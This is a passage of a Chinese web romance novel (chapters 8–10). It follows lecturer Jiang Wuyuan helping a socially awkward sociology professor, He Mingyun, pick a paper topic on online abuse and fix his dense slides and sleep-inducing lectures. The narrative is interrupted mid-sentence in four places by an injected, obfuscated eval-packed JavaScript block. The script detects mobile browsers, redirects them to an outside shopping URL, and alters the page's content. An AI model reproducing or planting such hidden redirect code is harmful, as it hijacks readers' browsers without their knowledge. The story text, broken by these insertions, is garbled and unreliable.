江无远历经校园、师门、职场的微妙人际关系,她能理解为什么很多人说“没有永远的朋友,只有永远的利益”“绝对不要和同事做朋友”。 但依然,如果“成长”意味着不再敞开心扉、不愿再了解他人,这未免,有些悲哀。 贺鸣云不可爱,不温柔,不风趣,不讨人喜欢。 但他让江无远感到—— 安全。 没有期待的暴力,没有暧昧的试探,没有委婉的恶意。 遇到一朵漂亮的花,有人想摘下它,有人想毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093557|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉它。而贺鸣云像一个淳朴的老农,只会细细观察花的长势,判断是否需要驱虫。 他就是很……安全。 让她有勇气,踏出尝试了解他的第一步。 于是江无远问:“贺教授,你现在主要研究哪个方向?” 贺鸣云被她一打岔,愣了下,显然没搞懂为什么江无远突然对他的研究感兴趣了。 江无远没话找话说:“我之前听过你同事的讲座,你们社会科学学院的李教授,还是吴教授?就秃顶、矮胖的那个?” “李教授。” “对对,我之前听过他一个讲座,他研究的是‘夫妻睡眠一致性’,挺有意思的。” 贺鸣云对“夫妻”“睡眠”“一致性”都不感兴趣,对李教授的学术水平更是0好评。 他说:“我研究社会保障、社会分层、社会流动。你感兴趣的话,我给你拿几本我的论文。” 江无远认为,对贺鸣云的认识,暂无必要深入到这个程度。马上拒绝:“当我没问。” 贺鸣云坚持:“我的论文写得比李教授的好多了,有很多值得学习的东西。” 江无远礼貌,但依然拒绝:“我相信你,但我不要。” 贺鸣云看了她一眼,眼神里似乎有几分恨铁不成钢。江无远假装没察觉,审视着白板上贺鸣云想出来的课题。 在众多抽象的题目中,江无远勉强选了一个还算有眼缘的:《网络暴力中的社会泄愤机制研究》。 贺鸣云有些意外:“你想写这个?” 江无远点头:“这个题目很有现实意义。而且我刚做自媒体的时候,经历过一两次小网暴,有点心得。” 江无远就随口这么一说,也没想要这根木头给她什么回应。 然而贺鸣云正在努力提高情商,意识到他此刻应该提供一些情绪价值。 但他一时想不出来该说什么。 人的进步就是如此艰难,无法一蹴而就。 此时贺鸣云的情商刚好能让他明白,这种时候不好装没听见;可他的寥寥情商,又无法支持他给予恰到好处的安慰和支持。 于是贺教授诚实地说:“稍等,你让我想一下。” “嗯?想什么?” 江老师虽然困惑,但非常礼貌,等了。 贺鸣云憋了整整两分钟,终于憋出一句:“你被网暴……Sorrytohearthat.” 江无远愣了下。 “干嘛突然飙英语?没事的,都过去了。” 贺鸣云对自己的表现很满意,点点头:“嗯,过去了就好。” 他在干嘛啊?江无远觉得贺鸣云好奇怪。她以前觉得他傲慢,现在觉得“傲慢”这个词不是很准确,贺鸣云就是有点不像人,好像不太会说人话。 江无远接着说选题的事:“我不是在上《社交媒体创意传播》这门课嘛,也会讲到怎么应对网络暴力,做这个研究对我丰富课堂内容也有帮助。如果你没有意见,我们就选这个题目吧。” 贺鸣云点头:“好。我都行的,因为我都懂。” 江无远此时确定了,不是她敏感,也不是她先入为主,贺鸣云这个狗东西就是天赋异禀,张嘴随便一句话,就能把人气死。 她不禁好奇:“你……跟你带的博士生,平时也这么说话吗?” 贺鸣云诚实作答:“比较少说话,跟她们没什么好说的。有论文邮件发我,有问题微信发我,打字就行了。” 可以理解。 能够想象。 江无远的好奇心却愈演愈烈:“那你以前还是学生的时候,是怎么跟导师相处的?” 贺鸣云依然诚实:“不怎么相处,因为我论文写得好,不需要他们指导什么。” 江无远深呼吸,在心里默念了几声南无阿弥陀佛。 “……算了。我们还是先讨论下论文吧。” 贺鸣云的眼睛立刻亮了:“来吧!我教你!” 天呐,他可真是个气人的神经病啊。 8. 闭门造车 贺鸣云思路清晰,先把论文的研究对象缩小,把核心议题限定在“为什么网络暴力往往指向某些特定群体”上。 江无远很感兴趣:“比如打扮漂亮的女性,性少数群体,还有某些特定职业群体,这些人就容易遭受网暴。” 贺鸣云心想,江老师是个漂亮、单身、在网上抛头露面的大学老师,是更容易被网暴。 他这么想着,莫名奇妙的,心里就有点不舒服。 偏偏当事人毫无察觉,还拿手在他脸面前晃了晃。 “贺教授?走神啦?” “没有,我在……思考。” 贺鸣云把白板翻过来,一边讨论一边做笔记。 “累积的社会性负面情绪,在网络暴力中找到了出口,网络暴力的对象选择,背后是一种社会泄愤的机制。” 江无远点头:“比如针对年轻漂亮单身女性的网络暴力,实际上是两性关系紧张的社会情绪的体现。” “嗯,”贺鸣云画上一条竖线,把白板的空间分成左右两边,他在左边一边写字一边说,“我可以写社会冲突论、替罪羊理论等等,这是我的老本行。” 他在白板右边打了个问号。 “但我需要你在传播学领域的意见。初步想法是,我们挑一些有代表性的网暴案件,也许你能追踪分析传播路径,分析网暴是如何发酵的?” “当然,我做过一个关于网暴常用话术的研究,还写了篇小论文,也可以放进来。 贺鸣云很自然地接茬:“可以。我知道,我看过。” “嗯嗯。……等等,你看过?” 那是江无远一年多以前发的一篇小文章,别说C刊了,连C扩都算不上。 贺鸣云怎么会看到的?这种犄角旮旯的文章,新闻与传播学院本专业的人都不一定会看吧? 贺鸣云没搭理她,此人已进入心流模式,持续自言自语:“社交媒体的热搜也可以点一下,这是扩大网暴效应的背后的手……” 江无远毫不留情,把贺鸣云从心流里捞出来。“贺教授,我问你呢,你怎么会看过我写的文章?” 贺鸣云含糊其辞:“我带的博士生写过一篇性别社会学方面的文章,里面有一段关于社交媒体对女性的污名化的内容。我不是这方面的专家,所以找了点文章来学习。” 他轻描淡写,但江无远知道,连她的文章都搜刮出来看了,贺鸣云做的,绝不只是“找了点”这种程度。 贺鸣云误会了她的震惊,解释道:“我只是和其他学院的老师关系不好,并不是不关心其他学科的研究。” “你怎么把我想得那么恶毒……我不是这个意思。” 贺鸣云想了想,换了个角度解释:“我只是和学生关系不太亲近,她们的论文我当然是会用心指导的。” 天啊,贺鸣云都被霸凌成什么样了啊?他怎么这么自觉就穿上了“万人嫌”的小鞋啊? 虽然江无远的理智说,事实应该是贺鸣云靠一骑绝尘的学术成果霸凌所有人才对;但她的情感上,却毫无必要、毫无理由地,感到了一丝内疚,一丝怜悯。 江无远连忙摆手:“不是,我也不是这个意思!我没有觉得你跟谁关系不好,也没有批评你为人处事的意思。我只是……没想到你会这样。” “哪样?” “你已经功成名就了,吃老本也够用了。我没想到你还会关心其他学科的最新研究,还会这么用心指导学生。” 贺鸣云平淡表示:“闭门造车是不对的。” 他这么一说,江无远来劲了:“就是!老东西天天占着茅坑拉宿便,把小东西也给带坏了,盯着过时的问题屎上雕花。所以学术圈才越来越窄,闭门造屎,不做跨学科研究,也不研究接地气的东西,发出来的论文都是什么玩意儿啊?” 贺鸣云看着她,突然笑了下。 江无远好像还没见过他这么明显的笑容,愣住了。 “……怎么了?” 贺鸣云摇摇头:“没什么,就是好久,没和同事一起讨论过论文了。” 江无远愣了下。 这么说来,她也是,好久没和这个圈子里的人这样共事了。 和王圣伯闹掰后,她就失去了写论文的兴致。 和罗老师不欢而散后,她就放弃了和同事合作。 本来江无远还觉得和这个老古板写论文很麻烦,现在,却好像找回了读书时写论文、做研究那股劲儿。 也许她本来就在怀念一些老旧的、过时的、不再被人们欣赏的品质。 于是江无远也笑了:“贺教授,说心里话,其实你也觉得,跟我一起写论文有点意思吧?” “嗯。” ***** 他当然觉得有意思了。 贺鸣云拉着江无远,活生生讨论了两个小时,水都没让她喝上一口。 江无远又饿又累,有种精气被迅速吸走的感觉。 志怪小说里,影响别人考公的是狐狸精。那贺鸣云这种一心劝学、硬拽着你搞论文的是什么?书生精? “贺教授,我饿了,咱们能换个地方聊吗?” 江无远好想吃口辣的,她的贵州DNA在尖叫,急需摄入点辣椒回血。鉴于贺鸣云是广东人,八成吃不了辣的,江无远体贴地退而求其次,提议道: “要不我们找家咖啡厅,坐着慢慢说?我们吃点东西,喝点口味正常的咖啡,行吗?” 出乎意料,贺鸣云反应强烈:“不行,你不能走!” 江无远立刻警觉,脑海里闪过一众和她搭讪的猥琐男的脸。 “你要干嘛?” 贺鸣云眼睛瞪得像铜铃:“我帮你发论文,你要帮我改课件的。你不看看我的课件吗?” 好险好险,差点误会机器人了。江无远松了口气,她真是以小人之心度君子之脑了,贺鸣云只分得出论文写得漂不漂亮,看不出人长得好不好看。 江无远说:“你电脑里有课件的吧?带上笔记本,我们边吃边看。” 贺鸣云不情不愿的。“边吃边看?这是我认真做了很久的课件。” 江无远好想给他一脚。“我知道,我知道。我会怀着非常景仰的心情认真观摩的,也绝对不会掉面包渣在你键盘上的。” ***** 江无远双目紧闭,表情痛苦。 贺鸣云不疑有他,坚信是食物难吃。 “有这么难吃吗?你重新点一个?” 江无远睁开眼睛,只见PPT深蓝色的纯色背景上,密密麻麻都是白字,她的眼睛又开始剧痛。 “……不是难吃。” 是难看,难看啊大哥! 大哥很体贴,追问:“那你怎么了?” “……我眼睛痛。” 贺鸣云不疑有他,从书包里顺出瓶眼药水,塞给江无远。 “德国进口的,送你了。” 眼药水轻如鸿毛,江无远怀疑里面只剩最后两滴了。 “你送我你用过的东西?” 贺鸣云眨了眨眼,似乎活了三十四年,头一次意识到,送别人二手货的行为不礼貌。 他甚至不愿意马上送瓶新的,犹豫了下,先问了句:“你用得完一瓶吗?开瓶之后保质期就30天。” “我用得完,”江无远意有所指,“我还要看你的PPT呢。” 一如既往,贺鸣云没听懂她的阴阳。 他点点头:“行吧,我等会儿给你拿瓶新的。” “我谢谢你啊。我们还是先看课件吧。” 为了方便讨论,江无远换到了贺鸣云身边的座位,把电脑放到两人中间。 她眼睛还是有点痛。“你能不能调暗下显示屏亮度,怎么这么刺眼啊?” 贺鸣云点开电脑设置,说:“这已经是护眼模式了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093558|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦,果然是PPT的问题。” “什么?” 江无远摇摇头:“没什么。首先,你这上面写的字太多了,密密麻麻的,学生看了密集恐惧症都要犯了。你备课的时候不困吗?你看着不犯晕吗?” 贺鸣云沉着回答:“我一般白天备课,不困。我懂了,那我来调整一下。” 他是懂了,但他调整的方式是:把一页PPT拆分成五页PPT。 视觉效果立竿见眼:一页PPT上只有500个字了!且字号变大到了16号! 他居然看起来还有点得意:“现在怎么样?” “嗯……也行吧,至少没那么密集恐惧了,我们继续吧。你看这一页,你用了这么多文字描述这个实验,我建议你直接放一个实验的视频,学生对视频会更有兴趣。” 贺鸣云乖巧地点点头:“我回头找一个放上去。” “好。你看,这张也是类似的问题,你用了这么一大段话来描述这个现象,其实可以用一张简单的图表来表现。” “好,我可以画。”贺鸣云拿过鼠标,眯起眼睛,笨拙地开始画图表。 江无远看不下去,说:“不用这样,你用AI画图,这段话粘进去,自动就能导出图表。” 贺鸣云一脸茫然。 江无远急百姓之所急、解百姓之所难,伸手打开他的手,抢过鼠标开始操作。 贺鸣云竟然没有WPS会员,用不了AI功能! “你当老师这么多年了,居然没有WPS的会员?你写论文、做PPT不觉得不方便吗?” 贺鸣云回忆了一下:“没觉得。” 也是,贺鸣云做PPT只要疯狂打字就行了,不需要任何附加功能。 江无远非常痛惜:“服了你了,学校给教职工都买了WPS会员的呀。手机拿给我,我帮你开通。” “不碍事的,不用麻烦——” 贺鸣云话没说完,手机已经被江无远抢走。 “不麻烦。学校的羊毛不薅,你傻呀?知网的账号你总开了的吧?Overleaf呢?” 江无远如数家珍,贺鸣云老老实实、一一回答,乖巧地呆在一边,看着江无远帮他开通各种学校买了的会员账户。 她对所有同事都这么好吗? 贺鸣云和同事的关系不怎么好,所以他们从来不会和他分享“内部消息”。 他只是不善交际,并不是傻,他也能察觉到别人微妙的敌意。时间长了,他便也宁愿自己麻烦,也不乐意去请教同事,更不会拜托他们帮忙。 说来尴尬,当初他来了冰洋大学足足一年半,才知道原来他可以申请某项教学经费。马远征不知道,教务处懒得管,其他同事不会好心告诉他,他是偶然听人提起才知道的。 贺鸣云不会矫情到为这种小事伤心,某种程度上,他也自嘲地认为自己是“罪有应得”,他的性格不讨喜,同事不帮衬也是理所当然。 如果有同事愿意帮他,那才真的是诡异,真的是奇怪,真的会让他觉得…… “吃饱了晕碳了?走什么神呢?”江无远把手机递给他,“好了,我想得到的都给你开了,有不懂的你再问我。” “……哦,嗯,好。谢谢你。” “不谢,羊毛一起薅更有获得感,”江无远朝他一笑,“来吧,我们一起,继续啃这块硬骨头。” 贺鸣云轻轻重复了一遍:“‘我们一起’。” 江无远白了他一眼:“废话,不然难道我亲自给你做PPT啊?知道市面上做一页多少钱吗?你休想偷懒。” “我不偷懒,我们一起。” 他已经三十四岁,不是需要和小伙伴一起上学、放学、上厕所的小学生了。更何况从小到大,他其实基本都是孤零零一个人,早就该习惯了。 可是为什么,江无远随口说的一句“我们一起”,会让他这么高兴呢? 9. 昏昏欲睡 江无远一起也没用,天王老子来了也没用。 陪贺鸣云改了一个小时的PPT,江无远感到深深的无力。 江无远本来以为,贺鸣云只是审美落后,或是忙于学术、对课件敷衍了事,所以做出来的PPT才这么难看。 贺鸣云长得好看,穿得也人模狗样的,害她先入为主,以为他是有独立衣帽间、手表和袖扣和领带都有单独的抽屉放的那种人设。 现在看来,他的衣服应该都是在海澜之家一站式配齐的。 在海澜之家买也并非出于任何审美选择,只是因为它刚好开在学校附近的商场里,贺鸣云觉得方便罢了。 江无远刚分享给他一套花钱买的PPT模板,让贺鸣云直接在模板上改。 在贺鸣云的不懈努力下,连模板都成功地变得奇丑无比。 江无远忍不住问他:“你觉得这好看吗?” 贺鸣云点头:“挺好的,老钱风。” 什么老钱风?又老套,又要花钱吗? 江无远曾经很费解,为什么刘亦菲会穿枣红色羽绒服搭老北京布鞋?为什么范冰冰对驴蹄高跟鞋爱不释手?大明星没有靠谱造型师的吗? 现在她明白了:审美,无关个人的气质样貌,是刻在基因里的神秘密码,私密,独特,难以升级迭代。 贺鸣云努力努力白努力,江无远看在眼里,也不好把话说得太难听。 “……贺教授,我觉得已经改进了不少,今天就先这样?” 贺鸣云竟然一副意犹未尽、没干尽兴的样子,吓得江无远赶紧又说:“我也……没改过这样的PPT,需要点时间……消化下。嗯,对,我需要点时间思考,还能从哪些方面改进。” “好吧,麻烦你了,”贺鸣云表示理解,但不知为何要自取其辱,“我想看看你上课用的PPT,可以吗?” 江无远再三推辞,拗不过他上赶着被打击,只好在手机里翻出一份PPT,点开递给贺鸣云看。 贺鸣云仔细看了会儿,脸色由白转青。片刻后,他把手机还给江无远,言简意赅:“你的PPT做得很好。” 江无远怕他遭受打击一蹶不振,不带她写论文了,强行勉励之:“你的……从某种程度上来说,也……不赖。” 贺鸣云表情凝重,语气平淡。“江老师,我有眼睛,我虽然做不出来,但我看得出来。” 好消息:原来贺鸣云不瞎。 坏消息:贺鸣云心已死。 江无远试图安慰他:“贺教授,其实,课件只是讲课的一部分,有不少老师都喜欢用这种……比较正统的PPT风格。你也不用强迫自己改,PPT就是个辅助,只要你上课上得有趣就行。” 贺鸣云沉默。 江无远试探着问:“你上课的时候,应该不是照着PPT念的吧?” 贺鸣云沉默。 江无远竟不知该如何打破这该死的沉默。 又过了几秒,贺鸣云提议:“我确实无法客观评价自己的教学水平,我有去年的网课视频,你帮我看看,可以吗?” “……我今天是一定得死是吗?” ***** 兜兜转转,又回到了C2-301,贺鸣云的奢华尊享单间办公室。 贺鸣云本想公器私用,找间大教室,用投影大屏放他的网课给江无远看,被江无远严正拒绝。 钱钟书说,对于丑人,细看看是一种残忍。那么类似的,对于丑课…… 贺鸣云还有点不高兴,说:“我办公室有点小。” 江无远耿耿于怀:“不小了,三十方呢,都超标了。” “我是说屏幕小,你不是眼睛不舒服吗?” 他还真听进去了,江无远有点不好意思,说:“没事,咱俩坐近点,方便讨论。” 他又听进去了,把椅子搬到江无远边上,紧紧挨着她,一起坐在电脑面前。 这好像有点突破合适的社交距离了。 江无远看了眼贺鸣云,他长相非常正派,表情非常端庄,呼吸非常平稳。 他还用眼神表达了“?”,意思是,江老师你看我干嘛,快准备好听课。 江无远安慰自己,算了,这就是台学术机器人,它没歪心思的,就这样吧。 机器人熟练地点开网课视频文件夹——没错,贺鸣云的电脑桌面干干净净,分类归档滴水不漏。不像江无远,电脑桌面上的文件杂乱无章,都叠在一起了。 江无远早有耳闻贺鸣云讲课无聊,悄悄掐了大腿两下,做好直面催眠的准备。 “贺教授,我们先看哪门课?” “《社会调查与研究方法》。” 江无远什么都没说,贺鸣云还非要多余解释:“这门课是给大一学生上的入门课,比较简单,你也能听懂的,所以先看这门。” “我谢谢你的体恤。” 贺鸣云优雅颔首:“应该的,我谢谢你的帮忙。” 江无远叹了口气:“开始吧。” 又是深蓝色纯色底、白字密密麻麻的PPT。 贺鸣云马上说:“我会替换PPT的。” “你别急,我什么都没说……” 新学年的新课程,学生和老师都心照不宣,第一节课就是水课,老师先自我介绍个七八分钟,聊聊本专业,扯点学校趣闻,再胡诌几分钟学这门课的重要意义,最后讲一下考试怎么考,平时分怎么构成,主要起到一个热身的目的。 可贺大教授非同一般,零帧起手,这节课才刚开始五分钟,他已经抛出七八个理论名词,可怜下面的学生CPU都要烧坏了。 太残忍了,贺鸣云竟然还要提问学生。 江无远说不好这到底是对学生残忍,还是对贺鸣云残忍。 头两个被点到的学生八成在走神,连问题都不知道是什么。 江无远在心里叹气,其实贺鸣云问的问题很简单,她看得出来,他提问并不是要刁难学生,而是在尝试和学生互动,活跃昏昏欲睡的课堂气氛。 江无远以为贺鸣云会冲走神的学生发火,没想到网课视频里,他只是平静地让学生坐下,又点了第三名学生。 这名学生稍好,虽然吭哧了半天,但好歹憋出了几句话来,让贺教授挽回了一丝颜面。 可贺教授就简单“嗯”了一声,让他坐下了。 零点评,零延展,零鼓励,贺教授转身就接着讲下一页PPT,语速甚至更快了。 江无远懂他,他肯定嫌刚刚学生思考太久、回答又结巴,浪费他宝贵的教学时间了。 万幸网课只录老师,不拍学生。江无远都能想象视频里学生的状态: 第一排肯定是空着的,没人敢坐,怕被贺教授点名提问; 前排的学生对知识还残存一丝渴望,强打精神,眯着眼睛试图看清PPT上密密麻麻的字; 中间的学生也还没有完全放弃,在努力和睡意做斗争,脑袋一点一点,东倒西歪; 后排趴下一片,睡得香甜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093559|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江无远也有点困了。她这时才发现,贺鸣云的声音挺好听的,语调也平缓没有起伏,非常适合去做助眠主播。 她当然不能睡,不然也太伤贺鸣云的心了。江无远强振精神,试图靠和贺鸣云互动来驱散困意。 她问坐在身边的贺鸣云:“贺教授,你的课,今年还要放网上吗?” “要的。听说‘推广名师讲堂上网普及’,也是教学试点改革的一项任务。” 江无远忍住没吐槽“名师讲堂”。“那我建议你今年重新录一下网课。” 贺鸣云一副理所当然的样子:“这还用说,我每年都重新录。不然里面的东西就过时了,对学生不负责任。” 天啊,这么努力,效果还这么差。真是老天为你开一扇门,就得给你焊死一扇窗啊。 江无远头更痛了,从口袋里摸出颗压缩咖啡糖。 贺鸣云目光如炬:“你在吃什么?我上课你还吃东西。” 江无远白他一眼,忍住没说难听的话。 江无远读了这么多年书,也听过不少水课,还头一回见识到这种类型的催眠课。 你说它是水课吧,它一点都不水,全是干货,还怪噎人的。它不是那种内容空洞、言之无物带来的催眠感,而是吃多了晕碳的眩晕感。 贺鸣云还在表达不满:“江老师,我希望你尊重我的课堂。你刚刚就在诋毁我的课件,现在又对我的讲课视频心不在焉。” “我尊重的,贺教授,我只是……” 江无远没来得及狡辩完,先打了个哈欠。 她打完哈欠闭上嘴,不好意思地解释:“我只是吃颗咖啡糖,提提神。” 以前只有学生吐槽他讲课催眠,贺鸣云还能哄哄自己,觉得是学生不懂行、不愿意动脑子,跟不上他的节奏。 现在连同行都被催眠,贺鸣云显然受到了打击。 “……你是听我的课听困了。” 江无远坚决否认:“不是,我是中午吃多了,而且没睡午觉,正常犯困而已。” 她说完,忍不住又打了个哈欠。 两人都沉默了一瞬。 “江老师,你说实话,我上课真有那么糟糕吗?” 他的眼神看起来无比真挚,江无远只好以真诚回应: “贺教授,人都有擅长的和不擅长的,你可能就是不擅长讲课,更擅长搞研究,这也不是什么缺点。” 贺鸣云张了张嘴,想说什么。 江无远打断他:“我知道,你还是得上课,期末考核要接受学生打分的。但其实你不用担心,你只要期末少给他们挂科,给分的时候大方点,大多数学生都会给你打高分的。” 贺鸣云垂下眼睑,沉默不语,似乎在考虑她说的。 江无远继续说:“你看,我们学校这么多水课,什么外国文学导论,什么大学生心理健康,学生评分很高,其实老师讲得根本不好,就是期末给分高,平时要求宽松,学生拿来刷绩点的嘛。” 贺鸣云抬起头看她,看起来竟然十分受伤。 “你怎么也这么看我?你以为我请你帮忙,就是为了学校的考核?别人这么想也就算了,你自己那么喜欢上课,那么喜欢和学生互动,怎么连你也这么说?” 其声呜呜然,如怨如慕,如泣如诉;(注1)一双大眼睛宛若含泪,而泪盈于睫。 江无远的心猛地跳了一下。 不会吧?难道他……? 注1:出自苏轼《赤壁赋》。 10. 你爱我吗 不会吧? 难道这个傲慢无礼的狗东西,其实不满足于考评好职称高? 难道这个传说中的期末杀手,其实是真心想给学生上好课? 江无远顿时觉得自己罪大恶极。 “对不起,贺教授,我不应该那么说。我误会你了,我以为你想采取最有效率的方式提高考核成绩。我向你道歉。” 贺鸣云不吭声。 江无远拿手肘轻轻捅了捅他的腰侧。“对不起嘛,贺教授。” 他的态度软化了一点,语气还是很委屈:“……我的课真的上得很差吗?” 江无远小心翼翼捧着贺鸣云易碎的自尊心:“不差不差,只是你精益求精、追求卓越嘛,按照完美主义的标准,那……还是有一咪咪提升空间的。” “你不用因为抱歉就说瞎话安慰我,我不喜欢别人骗我,我也没那么脆弱。” 江无远不假思索:“你课上得真挺差的。” 贺鸣云如遭雷劈。“……” “……对不起嘛。” “具体来说,你觉得哪些方面需要改进?”贺鸣云的眼神十分真挚,“我的学习能力很强,我可以改的。” 江无远也很真挚:“一时半会儿说不完,我们明天再说行不行?我困了,我需要大量的睡眠。” “……有这么多需要改的吗?而且这才下午三点,怎么就困了?” ***** 江无远做了一宿噩梦,梦里,贺鸣云的PPT排山倒海而来,鬼压床似的,把她压得喘不过气。 她惊醒了。 一看手机,才早上八点。 这辈子暑假没这么早起过,都怪贺鸣云假期也坚持工作作息,果然靠近男人就是女人吃苦的开始。 微信未读信息一条,是贺鸣云自说自话的报备:“已在办公室,随时可以讨论。” 他怎么表现得像她领导啊?狗东西。 江无远咬牙切齿,起床洗漱,誓要冷脸调教贺鸣云,从零开始制造名师。 为什么明知不可为而为之? 因为她善,因为她团结同事,因为她达则兼济天下。 总之,肯定、当然、绝对,不会是因为她觉得昨天的贺鸣云可怜巴巴的。 江无远还给贺鸣云带了份早餐。 贺鸣云接过早餐,表情可以说是喜出望外,虽然说出口的话依然令人不快:“谢谢,其实我吃过了,我没你起床这么晚。” 江无远假笑了一下。 呵呵,容你再得瑟两分钟,马上冰洋大学最会讲课的老师就要严厉审判你了。 “贺教授,你的课内容含金量很高,相当于社会学的《九阴真经》。假如一觉醒来,全世界的社会学科研水平倒退一百倍,那有你这门网课资料的学生,一定会成为社会学一代宗师。” 贺鸣云显然没听懂她在说什么。 对哦,他不看武侠小说的。 “总之,你的课,内容100分,但呈现的方式不及格。你别瞪我,你听我慢慢跟你说。” 贺鸣云丧眉耷眼,不情不愿地听着。 “第一个问题,你的课严重缺乏互动,学生看PPT、看教材自学,和听你讲课有什么区别?他们跟不上你的节奏。” “第二个问题,你的课缺乏实例。干嘛又瞪我?我说的不是教材里那种实例,是生活中有意思的例子。” 贺鸣云嘟囔:“我知道,我也尝试和学生互动了。” “这就是第三个问题,你这样抽学生回答问题不是互动。他们觉得你是在考他们、为难他们,他们害怕被你点名,不敢和你有互动。” 贺鸣云声音更小了:“我也想……你和学生互动就很自然,她们愿意分享自己的看法。但是我不擅长和学生交流,我没有你的亲和力。 “我觉得还好啊,我们现在不就在正常交流吗?你说不上多有亲和力,但也不是传说中那么严肃、那么凶啊。” 贺鸣云沉默了下。 “……是吗?” “是啊,你要自信一点,松弛一点。课堂不用这么严肃,你讲的内容不那么严谨也没关系,学生的回答不那么准确也没关系——” 江无远停下来,警告贺鸣云:“不准瞪我!听我说完。” “……我没有瞪你,我只是眼睛大。” 江无远严厉地说:“那你把眼睛眯着。” “……”贺鸣云委屈地低下了头。 见他老实了,江无远继续解释:“我们上课就是带学生入门,让他们对这门课有初步了解,对这门课感兴趣。功夫在课外,你要是上课上得太严肃,把学生吓跑了,他们课后怎么还可能愿意继续钻研这门学问呢?” 贺鸣云又想起加西亚,加西亚吸引了许多优秀的学生继续攻读、研究社会学。他也想到马远征,马远征自身的学术能力并不十分突出,但很擅长引导、鼓励学生做研究,贺鸣云的同门中,出了不少学界小明星。 于是他点点头:“我明白了。能给我点具体的建议吗?” 江无远也点点头:“首先,我建议你在第一堂课,先花五分钟,介绍你自己,简介我会帮你写。” 贺鸣云立刻反对:“学生对我没兴趣。” “因为他们还不了解你。你可以是一个跟他们毫无关系的路人老师,也可以是一个走过他们来时路的前辈。你希望他们觉得你是一个古板无趣的老登,还是一个学术能力超强、可以带他们了解社会学的大牛?” “……我知道了。还有,我不老。” 江无远忽略了他的后半句话,接着说:“接下来的十分钟,你要带学生复习统计学基础知识。” 贺鸣云又反对了:“有这个必要吗?初高中都学过的。” “贺教授,你不懂大一学生,他们好不容易从文山题海里解脱,玩了一个暑假,开学后知识已经归零,自己姓什么都忘了。” 贺鸣云说:“我高中毕业那个暑假都在打工和学英语。” “谁问你了?按照我说的做就行了。” 江无远在电脑上打开贺鸣云的PPT。 “接下来就可以进入正题。第一页,这个定义太长了,太长不看。” 她罔顾贺鸣云阻拦,把PPT上的文字全给他删了。 贺鸣云严正抗议:“我总要先解释什么是社会学调查方法吧!” 江无远打上一行字:“测量——数据——分析”。 “就这么六个字就够了,你懂不懂留白之美?” 贺鸣云气鼓鼓的,他当然不懂,他就是衬衣纽扣都要扣到最上面一颗那种绝不留白的人。 江无远才不管他,继续强行改造:“在这里,你要讲两个社会学研究的真实案例,研究什么社会学课题,用了什么研究方法,学生听完就懂了。” 贺鸣云思考了一会儿。 “应该可以。但用什么案例,我需要再找找。” 江无远笑了:“找什么找?远在天边,近在眼前,就用你做过的课题做案例啊。” 贺鸣云缺乏信心:“学生都不看我的论文的,他们对我的研究不感兴趣。” “不会的,你的研究只是难,并不是无趣。” 贺鸣云对此非常怀疑。 江无远鼓励他:“真的,我对学术研究也不是很感兴趣,但之前我们一起讨论论文,你讲得就很好啊,让我很感兴趣。” 说实话,贺鸣云只记得她哈欠连连,没看出来她多感兴趣。 “……真的?” “真的。” 那他就宁可信其有吧。“……好吧。但是对大一的学生来说,我研究的课题还是太难了。” “那你就先举一个最生活化的例子,不要去管严不严谨,先吸引学生的兴趣。” 江无远想了想,说:“比如,现在你要研究的社会学课题是,你爱我吗?” 贺鸣云愣住了。“……什么?” ***** 他是不是耳朵聋啊? 江无远提高音量:“我说!现在!你要用!社会调查和研究方法!来研究!‘你爱我吗’!这个课题!开始!” 贺鸣云吞吞吐吐:“爱……爱吗?” 江无远入戏了,反问:“我怎么知道?就是不知道,才让你研究啊。快点,大教授,给我好好讲讲,你爱我吗?” “这个……额……嗯……同学们,这门课讲的,是做社会学调查时需要用到的研究方法。社会学调查和研究方法涵盖很多内容,设计研究问题,收集数据,分析结果,等等。” 江无远接茬:“社会学调查,是为了解释社会现象。就像侦探破案,需要勘查现场、搜集物证、询问证人、调看监控……这些就是具体的研究方法,我说得对吗,老师?” 贺鸣云下意识说:“不对,社会学调查的研究方法是一种科学体系,而不是……” 他被江无远白了一眼,改口了。 “……好吧,可以先这么理解。我举个例子,现在我们要研究的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 